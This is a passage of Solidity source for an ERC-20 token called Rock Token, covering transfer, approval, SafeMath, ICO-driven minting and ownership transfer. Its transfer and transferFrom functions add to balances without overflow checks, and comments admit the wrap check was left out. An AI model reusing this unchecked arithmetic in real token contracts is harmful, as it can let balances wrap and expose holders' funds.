//If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
//Replace the if with this one instead.
//require(balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]);
require(balances[msg.sender] >= _value);
require(transferEnabled);
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
//require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]);
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
require(transferEnabled);
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) view public returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) view public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract RockToken is StandardToken {
using SafeMath for uint;
// UM
uint256 public million = 1000000;
uint8 public constant decimals = 18;
string public constant symbol = "RKT";
string public constant name = "Rock Token";
bool public canConvertTokens;
// Inited in constructor
address public contractOwner; // Can stop the allocation of delayed tokens and can allocate delayed tokens.
address public futureOwner;
address public masterContractAddress; // The ICO contract to issue tokens.
// Constructor
// Sets the contractOwner for the onlyOwner modifier
// Sets the public values in the ERC20 standard token
// Opens the delayed allocation window.
// can pre-allocate balances for an array of _accounts
function RockToken(address _masterContractAddress, address[] _accounts, uint[] _balances) public {
contractOwner = msg.sender;
masterContractAddress = _masterContractAddress;
totalSupply = 0;
canConvertTokens = true;
uint length = _accounts.length;
require(length == _balances.length);
for (uint i = 0; i < length; i++) {
balances[_accounts[i]] = _balances[i];
// Fire Transfer event for ERC-20 compliance. Adjust totalSupply.
Transfer(address(0), _accounts[i], _balances[i]);
totalSupply = totalSupply.add(_balances[i]);
}
}
// Can only be called by the master contract during the TokenSale to issue tokens.
function convertTokens(uint256 _amount, address _tokenReceiver) onlyMasterContract public {
require(canConvertTokens);
balances[_tokenReceiver] = balances[_tokenReceiver].add(_amount);
}
// Fire Transfer event for ERC-20 compliance. Adjust totalSupply. Can only be called by the Master Contract.
function reportConvertTokens(uint256 _amount, address _address) onlyMasterContract public {
require(canConvertTokens);
Transfer(address(0), _address, _amount);
totalSupply = totalSupply.add(_amount);
}
function stopConvertTokens() onlyOwner public {
canConvertTokens = false;
}
// Called by the token owner to block or unblock transfers
function enableTransfers() onlyOwner public {
transferEnabled = true;
}
modifier onlyOwner() {
require(msg.sender == contractOwner);
_;
}
modifier onlyMasterContract() {
require(msg.sender == masterContractAddress);
_;
}
// Makes sure that the ownership is only changed by the owner
function transferOwnership(address _newOwner) public onlyOwner {
// Makes sure that the contract will have an owner
require(_newOwner != address(0));
futureOwner = _newOwner;
}
function claimOwnership() public {
require(msg.sender == futureOwner);
contractOwner = msg.sender;
futureOwner = address(0);
}
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